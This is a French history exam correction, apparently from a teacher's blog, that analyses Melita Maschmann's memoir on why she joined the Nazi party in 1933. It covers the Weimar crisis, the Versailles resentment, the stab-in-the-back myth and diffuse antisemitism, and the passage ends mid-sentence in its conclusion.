Mardi, c’est l’histoire ! Corrigé de l’exercice 2 du sujet H2-2017. Il s’agit du commentaire de document.

Donc ce mardi 15, voici le corrigé de l’exercice 2 du second sujet proposé : H2-2017.

Correction du commentaire de document de Melita Mashmann : « Les totalitarismes, genèse, points communs, particularités »

 

Introduction :

Avec la crise économique qui frappe de plein fouet l’Allemagne surtout à partir de 1931, le nombre d’adhérents du parti nazi, le NSDAP, augmente considérablement. 6,4 millions de voix dont une part importante de jeunes électeurs se portent sur le parti d’Adolf Hitler aux élections législatives de 1930.  Alors que l’on compte environ six millions de chômeurs en 1931, le parti voit ses effectifs grossir et compte 1,5 million d’adhérents en 1932. Les historiens comme Ian Kershaw a tenté d’analyser les éléments qui expliquent l’adhésion de nombreux Allemands au NSDAP.

La jeune Allemande Melita Maschmann a tenté d’expliquer avec le recul dans un ouvrage publié en 1964 Ma Jeunesse au temps du Nazisme les raisons pour lesquelles elle a adhéré très jeune au parti national-socialiste des ouvriers allemands. Dans les extraits proposés, elle évoque notamment l’atmosphère au sein de sa famille, les raisons d’une certaine forme de rancœur des personnes qu’elle côtoyait et qui peuvent expliquer son adhésion au NSDAP en mars 1933, trois mois après la nomination d’Hitler comme chancelier alors même que les premiers éléments de la dictature nazie se mettent en place. Le 27 février 1933, le Reichstage est détruit et en mars 1933, les libertés fondamentales suspendues, les partis et le syndicats interdits.

Petites précisions sur l’auteur :  Melita Maschmann est née à Berlin en 1918. Elle a travaillé au service de presse nazi, puis a été affectée à l’administration de camps de travail féminins en Pologne et en Allemagne, supervisant l’éviction de fermiers polonais de leurs terres pour qu’ils soient remplacés par des Allemands. Capturée par les alliés en 1945, elle fut libérée en 1948. Après la guerre, elle devint journaliste indépendante. Dans les années 1950, elle prit conscience de la vérité sur le national-socialisme et entreprit de raconter son parcours. Elle est morte en 2010.

Etudier les extraits de Melita Maschmann dans Ma Jeunesse au temps du Nazisme, c’est se demander comment une jeune femme d’une famille moyenne allemande éloignée des thèmes nationaux-socialistes et notamment celui de l’antisémitisme a pu adhéré dès 1933 au parti nazi.

 

  1. Le sentiment de la fragilité de l’Allemagne et de son déclin
  • sentiment du déclin, peur de la disparition de l’Allemagne après des décennies d’exaltation nationaliste sous l’Empire avant la Première Guerre mondiale. On retrouve cela dans Histoire d’un Allemand de Sebastian Haffner publié en 1939.
  • Sentiment amplifié avec la grave crise économique : reprise économique de l’Allemagne à partir de 1924 était fragile. Les parents de Maschmann parle de « l’appauvrissement croissant de l’Allemagne » : La crise de reconversion de l’économie allemande avait été forte juste après la guerre et l’hyperinflation en 1923 avait donné aux Allemands le sentiment de la faiblesse de la nouvelle Allemagne. l’épisode de l’hyperinflation de 1923-24 a profondément marqué l’opinion allemande par exemple. En octobre 1923, un dollar vaut 440 millions de marks ! Les propos que Melita Maschmann donne dans cet extrait à propos des difficultés de l’Allemagne traduisent d’abord le très faible soutien que les Allemands apportaient à Weimar et au système démocratique. De nombreux investissements étrangers et en particulier américains fuient l’Allemagne. Chômage de masse, Maschmann cite six millions. Début des années 1930 retour de la crise donc, née aux Etats-Unis en 1929 va frapper très durement l’Allemagne et emporter le régime de Weimar. La crise montre aussi l’impuissance de Weimar qui passe déjà pour un régime soumis à l’étranger et faible.
  • La peur de la discorde et du spectre de la guerre civile de 1919 plane aussi sur l’opinion allemande. Maschmann évoque l’importance du thème de l’unité nationale chez les nazis. Pour Hitler en effet, les Allemands sont d’abord une nation, un tout. Cet aspect unitaire est renforcé par le caractère racial du nationalisme nazi qui exclut les juifs. La rhétorique nazie est aussi tournée contre les communistes associés aussi aux juifs (le judéo-bolchévisme) accusés d’introduire la discorde et la violence (révolution spartakiste en 1918-1919).
  1. Le poids de la Grande Guerre et l’obsession de la trahison
  • Le poids de la guerre, de la défaite de 1918 et du traité de Versailles pèsent très lourd dans le ressentiment des Allemands. Défaite incomprise après une ferveur nationaliste intense sous le IIe Reich (1871-1918), l’Allemagne qui avait dépassée économiquement la Grande-Bretagne ne pouvait être vaincue ; le territoire allemand n’a pas été envahie. Versailles est considéré comme un diktat : l’Allemagne est amputée du tiers de son territoire. Alsace-Moselle retourne à la France, Pologne, Danemark prend le Schleswig-Holstein,…surtout la question des Réparations est déterminante : l’Allemagne jugée responsable de la guerre par les alliés doit payer 132 milliards de marks-or à titre de réparations des dégâts du conflit. Le poids de la guerre est donc moral, territorial et financier. La fin de la guerre donne à beaucoup le sentiment d’avoir été humiliés et écrasés injustement.
  • C’est ce que dit Maschmann quand elle parle des soldats allemands, les plus courageux mais vaincus : le nationalisme prussien militariste a exalté fortement l’armée. La défaite est donc encore moins comprise. Maschmann souligne que l’Allemagne n’a pas été battue lors d’une bataille. Verdun, les défaites de 1918 n’ont pas entraîné l’invasion du pays.
  • C’est l’arrière qui a trahi et entraîné l’écroulement du pays : « le coup de poignard dans le dos » des civils et des juifs est fortement exploité par les mouvements d’extrême-droite et en particulier par le NSDAP, le parti nazi. En effet, en octobre-novembre 1918, le pays est secoué par une vague de grèves et de manifestations qui ébranle l’effort de guerre. La révolution spartakiste qui suit en janvier 1919 apporte pour beaucoup que l’idée est menacée par le communisme. On retrouve là, les différents éléments amènent à la victoire du nazisme : choc de la défaite de 1918 pour les nationalistes, peur de la crise économique très dure, rancœur du diktat de Versailles, rejet de la démocratie et de la République de Weimar : régime né de la défaite : ceux qui soutiennent le régime ont demandé la paix et accepté des conditions de reddition extrêmement lourdes et humiliantes.
  • Les soutiens de Weimar sont considérés comme des traîtres par l’extrême-droite : Walter Rathenau, ministre des affaires étrangères et juif est assassiné en juin 1922. En 1933, Hitler rend hommages à ses assassins.

III. Un antisémitisme diffus, une question « normalisée » par les nazis

  • Reste la question de l’antisémitisme. Comme le dit Maschmann, beaucoup de juifs sont parfaitement intégrés et il n’y a pas de séparation entre les juifs allemands et le reste de la population. La famille de l’auteur fréquente des juifs collègues de travail du père de famille. Néanmoins, l’antisémitisme est diffus dans la société allemande. Il va se superposer à la rancœur de la défaite. La trahison de l’arrière n’est donc pas seulement celle des sociaux-démocrates fondateurs de Versailles mais aussi des juifs.
  • Maschmann évoque le fanatisme : elle sous-entend la violence. Cet « enthousiasme est associé aux aspirations à un idéal et à l’absence de modération. On le retrouve dans les manifestations nazies, les défilés des S.A aux flambeaux. Le nazisme a esthétisé la politique : ces manifestations mises en scène dans les rues des villes allemands font appel aux sensations et non à la réflexion politique. Mein kampf écrit en 1923 mais aussi les textes sur la propagande de Goebbels, ministre de la propagande nazie dès 1933 soulignent ces méthodes de diffusion des idées nationales-socialistes. Les démonstrations de force des nazis ne font donc pas appel à l’intellect mais à l’instinct et aux sensations. « contre le vœu de mes parents » permet de souligner que beaucoup de jeunes ont adhéré au nazisme. L’ancienne génération avait connu la guerre et les violences et n’étaient pas toujours sensible aux propos agressifs et à l’exaltation de la violence par les nazis. L’embrigadement de la jeunesse et sa mobilisation permanente se sont faites dans des associations sportives et des actions sociales de toute sorte. Le nazisme s’est appuyé sur le nazisme en mobilisant les jeunes générations, en l’opposant à la passivité des anciens, aux vieilles générations qui avaient échoué en 1918 et dans l’Allemagne de Weimar.
  • Sebastian Haffner dans ses souvenirs évoque à propos de l’antisémitisme le fait que la question devint normal. Il était naturel de parler d’une « problème juif » ou d’une « question juive » sans être antisémite. La question était intégrée aux débats sur l’identité allemande et sur la question du déclin du pays. Maschmann évoque ce même phénomène lorsqu’elle évoque ses « tendances antisémites » alors même qu’elle fréquente des jeunes filles juives dans son école. Maschmann souligne donc l’antisémitisme qui prédisposait la population et les jeunes en particulier aux thèmes martelés par la propagande nazie notamment à partir de 1933 dans des expositions antisémites ou les programmes scolaires diffusant les théories racistes du nazisme. Cette même attitude paradoxale se retrouve chez les parents de l’auteur. L’antisémitisme est diffus, repose sur des préjugés mais ne donne pas pour l’auteur de conséquences officielles sur les juifs. En revanche, cette forme d’antisémitisme prédispose la population aux mesures qui sont prises de manière officielle par le régime nazi le 1er avril 1933 (premier boycott des magasins juifs en Allemagne qui est en fait moyennement suivi par les Allemands). Les brimades, les humiliations et les violences antisémites des SA avant 1933 sont communes dans les rues allemandes. Elles ne sont cependant pas généralisées et beaucoup d’Allemands comme Maschmann n’en voient pas la portée.
  • « nous étions donc prêts pour devenir des nazis enthousiastes » : Maschmann souligne que l’atmosphère de Weimar, des faiblesses de l’Allemagne dans l’entre-deux-guerres la prédisposaient à devenir nazi. Pour Maschmann, ce sont donc les circonstances de l’Allemagne des années 1930 qui expliquent son adhésion au nazisme en mars 1933.

 

Conclusion :

Maschmann explique et justifie son adhésion au NSDAP au début de l’arrivée au pouvoir de Hitler en soulignant surtout la sensation de déclin, de fragilité, de totale incompréhension de la défaite de 1918.

Beaucoup d’Allemands y compris ceux qui, comme Albert Speer, avaient été proches d’Hitler et avaient contribué de façon très active à l’Etat nazi ont cherché eux aussi à justifier leur attitude pendant cette période. Après vingt ans de prison, Albert Speer ancien ministre de l’armement et proche d’Hitler, a lui aussi tenté de montrer qu’il avait cherché à modérer la fuite en avant du régime nazi et

 

 

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